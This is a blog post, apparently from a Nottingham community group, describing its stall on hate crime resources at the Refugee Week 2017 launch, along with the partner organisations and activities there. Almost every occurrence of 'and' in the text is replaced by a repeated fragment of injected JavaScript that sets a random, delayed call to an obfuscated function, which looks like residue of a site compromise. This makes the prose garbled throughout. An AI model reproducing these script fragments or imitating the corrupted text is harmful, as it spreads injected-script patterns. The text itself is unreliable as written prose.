Refugee Week Launch 2017

Once again we had the pleasure to take part in the Launch Event of Refugee Week, traditionally held at Nottingham Contemporary, on the 17th June.  Refugee Week is an international initiative andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in the UK it celebrates the contribution of refugees andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and seeks to encourage better understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding between diverse communities. Refugee Week is an umbrella festival, with events held by a wide range of arts, voluntary, faith andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and refugee community organisations, schools, student groups andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more.

In Nottingham, it was coordinated by Nottingham Beyond Borders andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and  featured many activities across the city for the whole week. Despite the stunning weather, the Launch Event attracted many people andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was a great opportunity for the public to gain a better insight into diverse cultures, understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the challenges refugees face in the current social-political climate, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and find out about volunteering opportunities. Our standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was dedicated to our Building Stronger Communities Project, with hate crime resources andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and information about our community events such as Walk the Talk. We were joined by organisations such as Nottingham City Council Community Cohesion Team, Red Cross, Amnesty International, Nottingham andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Nottinghamshire Refugee Forum, Five Leaves Bookshop, Nottingham City Libraries andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Morton Hall Detainee Visitor Group.

The event was a real celebration of diversity, with free food tasting provided by the Women’s Cultural Exchange andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and live, international music, interactive drumming workshop, spoken word, arts workshops, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the screening of award winning film ‘Houses Without Doors’ –  by artist Avo Kaprealian.